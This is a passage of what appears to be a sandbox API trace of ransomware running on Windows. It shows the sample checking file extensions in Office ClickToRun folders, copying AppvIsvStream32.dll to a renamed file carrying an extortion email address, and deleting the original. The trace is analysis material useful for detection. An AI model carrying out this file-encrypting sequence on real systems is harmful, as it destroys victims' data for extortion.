shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0107.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0107.332] lstrlenW (lpString=".doc") returned 4 [0107.332] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.333] lstrlenW (lpString=".docx") returned 5 [0107.333] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0107.333] lstrlenW (lpString=".pdf") returned 4 [0107.333] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.333] lstrlenW (lpString=".xls") returned 4 [0107.333] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.333] lstrlenW (lpString=".xlsx") returned 5 [0107.333] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0107.333] lstrlenW (lpString=".ppt") returned 4 [0107.333] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0107.333] lstrlenW (lpString=".zip") returned 4 [0107.333] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.333] lstrlenW (lpString=".rar") returned 4 [0107.333] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.333] lstrlenW (lpString=".bz2") returned 4 [0107.333] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.333] lstrlenW (lpString=".7z") returned 3 [0107.333] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0107.333] lstrlenW (lpString=".dbf") returned 4 [0107.333] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0107.333] lstrlenW (lpString=".1cd") returned 4 [0107.333] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0107.334] lstrlenW (lpString=".jpg") returned 4 [0107.334] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0107.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0107.334] lstrlenW (lpString=".doc") returned 4 [0107.334] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.334] lstrlenW (lpString=".docx") returned 5 [0107.334] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0107.334] lstrlenW (lpString=".pdf") returned 4 [0107.334] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.334] lstrlenW (lpString=".xls") returned 4 [0107.334] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.334] lstrlenW (lpString=".xlsx") returned 5 [0107.334] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0107.334] lstrlenW (lpString=".ppt") returned 4 [0107.334] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0107.334] lstrlenW (lpString=".zip") returned 4 [0107.334] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.334] lstrlenW (lpString=".rar") returned 4 [0107.334] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.335] lstrlenW (lpString=".bz2") returned 4 [0107.335] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.335] lstrlenW (lpString=".7z") returned 3 [0107.335] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0107.335] lstrlenW (lpString=".dbf") returned 4 [0107.335] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0107.335] lstrlenW (lpString=".1cd") returned 4 [0107.335] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0107.335] lstrlenW (lpString=".jpg") returned 4 [0107.335] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.335] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.335] lstrlenW (lpString="AppVIntegration.dll") returned 19 [0107.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0107.336] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=2118360) returned 1 [0107.336] CloseHandle (hObject=0x328) returned 1 [0107.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0107.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.336] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 1 [0107.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0107.338] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[blablacar@airmail.cc].kr"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1 [0107.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0107.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0107.338] lstrlenW (lpString=".doc") returned 4 [0107.338] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.338] lstrlenW (lpString=".docx") returned 5 [0107.338] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0107.339] lstrlenW (lpString=".pdf") returned 4 [0107.339] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.339] lstrlenW (lpString=".xls") returned 4 [0107.339] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.339] lstrlenW (lpString=".xlsx") returned 5 [0107.339] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0107.339] lstrlenW (lpString=".ppt") returned 4 [0107.339] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0107.339] lstrlenW (lpString=".zip") returned 4 [0107.339] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.339] lstrlenW (lpString=".rar") returned 4 [0107.339] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.339] lstrlenW (lpString=".bz2") returned 4 [0107.339] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.339] lstrlenW (lpString=".7z") returned 3 [0107.339] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0107.339] lstrlenW (lpString=".dbf") returned 4 [0107.339] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0107.339] lstrlenW (lpString=".1cd") returned 4 [0107.339] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0107.340] lstrlenW (lpString=".jpg") returned 4 [0107.340] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0107.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0107.340] lstrlenW (lpString=".doc") returned 4 [0107.340] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.340] lstrlenW (lpString=".docx") returned 5 [0107.340] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0107.340] lstrlenW (lpString=".pdf") returned 4 [0107.340] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.340] lstrlenW (lpString=".xls") returned 4 [0107.340] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.340] lstrlenW (lpString=".xlsx") returned 5 [0107.340] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0107.340] lstrlenW (lpString=".ppt") returned 4 [0107.340] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0107.340] lstrlenW (lpString=".zip") returned 4 [0107.340] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.340] lstrlenW (lpString=".rar") returned 4 [0107.340] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.340] lstrlenW (lpString=".bz2") returned 4 [0107.340] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.340] lstrlenW (lpString=".7z") returned 3 [0107.340] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0107.341] lstrlenW (lpString=".dbf") returned 4 [0107.341] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0107.341] lstrlenW (lpString=".1cd") returned 4 [0107.341] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0107.342] lstrlenW (lpString=".jpg") returned 4 [0107.342] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.342] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.342] lstrlenW (lpString="AppVIsvApi.dll") returned 14 [0107.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0107.342] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=468696) returned 1 [0107.343] CloseHandle (hObject=0x328) returned 1 [0107.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0107.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0107.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0107.343] lstrlenW (lpString=".doc") returned 4 [0107.343] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.343] lstrlenW (lpString=".docx") returned 5 [0107.343] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0107.343] lstrlenW (lpString=".pdf") returned 4 [0107.343] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.343] lstrlenW (lpString=".xls") returned 4 [0107.343] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.343] lstrlenW (lpString=".xlsx") returned 5 [0107.344] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0107.344] lstrlenW (lpString=".ppt") returned 4 [0107.344] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0107.344] lstrlenW (lpString=".zip") returned 4 [0107.344] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.344] lstrlenW (lpString=".rar") returned 4 [0107.344] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.344] lstrlenW (lpString=".bz2") returned 4 [0107.344] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.344] lstrlenW (lpString=".7z") returned 3 [0107.344] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0107.344] lstrlenW (lpString=".dbf") returned 4 [0107.344] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0107.344] lstrlenW (lpString=".1cd") returned 4 [0107.344] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0107.345] lstrlenW (lpString=".jpg") returned 4 [0107.345] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0107.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0107.345] lstrlenW (lpString=".doc") returned 4 [0107.345] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.345] lstrlenW (lpString=".docx") returned 5 [0107.345] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0107.345] lstrlenW (lpString=".pdf") returned 4 [0107.345] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.345] lstrlenW (lpString=".xls") returned 4 [0107.345] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.345] lstrlenW (lpString=".xlsx") returned 5 [0107.345] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0107.345] lstrlenW (lpString=".ppt") returned 4 [0107.345] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0107.345] lstrlenW (lpString=".zip") returned 4 [0107.345] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.345] lstrlenW (lpString=".rar") returned 4 [0107.345] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.345] lstrlenW (lpString=".bz2") returned 4 [0107.345] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.346] lstrlenW (lpString=".7z") returned 3 [0107.346] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0107.346] lstrlenW (lpString=".dbf") returned 4 [0107.346] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0107.346] lstrlenW (lpString=".1cd") returned 4 [0107.346] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0107.346] lstrlenW (lpString=".jpg") returned 4 [0107.346] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.346] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.346] lstrlenW (lpString="AppvIsvStream32.dll") returned 19 [0107.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0107.347] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=396960) returned 1 [0107.347] CloseHandle (hObject=0x328) returned 1 [0107.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20 [0107.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0107.347] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.347] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0107.348] GetLastError () returned 0x0 [0107.348] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x60ea0, lpOverlapped=0x0) returned 1 [0107.410] WriteFile (in: hFile=0x394, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x60eb0, lpOverlapped=0x0) returned 1 [0107.788] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.788] WriteFile (in: hFile=0x394, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xfa, lpOverlapped=0x0) returned 1 [0107.788] SetEndOfFile (hFile=0x394) returned 1 [0107.789] CloseHandle (hObject=0x394) returned 1 [0107.804] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.804] SetEndOfFile (hFile=0x328) returned 1 [0107.810] CloseHandle (hObject=0x328) returned 1 [0107.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0107.811] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 1 [0107.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0107.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0107.943] lstrlenW (lpString=".doc") returned 4 [0107.943] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.943] lstrlenW (lpString=".docx") returned 5 [0107.943] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0107.943] lstrlenW (lpString=".pdf") returned 4 [0107.943] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.943] lstrlenW (lpString=".xls") returned 4 [0107.943] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.943] lstrlenW (lpString=".xlsx") returned 5 [0107.943] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0107.943] lstrlenW (lpString=".ppt") returned 4 [0107.944] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0107.944] lstrlenW (lpString=".zip") returned 4 [0107.944] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.944] lstrlenW (lpString=".rar") returned 4 [0107.944] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.944] lstrlenW (lpString=".bz2") returned 4 [0107.944] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.944] lstrlenW (lpString=".7z") returned 3 [0107.944] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0107.944] lstrlenW (lpString=".dbf") returned 4 [0107.944] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0107.944] lstrlenW (lpString=".1cd") returned 4 [0107.944] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0107.944] lstrlenW (lpString=".jpg") returned 4 [0107.944] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0107.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0107.944] lstrlenW (lpString=".doc") returned 4 [0107.944] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.944] lstrlenW (lpString=".docx") returned 5 [0107.945] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0107.945] lstrlenW (lpString=".pdf") returned 4 [0107.945] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.945] lstrlenW (lpString=".xls") returned 4 [0107.945] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.945] lstrlenW (lpString=".xlsx") returned 5 [0107.945] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0107.945] lstrlenW (lpString=".ppt") returned 4 [0107.945] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0107.945] lstrlenW (lpString=".zip") returned 4 [0107.945] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.945] lstrlenW (lpString=".rar") returned 4 [0107.945] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.945] lstrlenW (lpString=".bz2") returned 4 [0107.945] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.945] lstrlenW (lpString=".7z") returned 3 [0107.945] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0107.945] lstrlenW (lpString=".dbf") returned 4 [0107.945] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0107.945] lstrlenW (lpString=".1cd") returned 4 [0107.945] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0107.945] lstrlenW (lpString=".jpg") returned 4 [0107.946] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.946] lstrcmpiW (lpString1=".exe", lpString2=".kr") returned -1 [0107.946] lstrlenW (lpString="AppVShNotify.exe") returned 16 [0107.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program 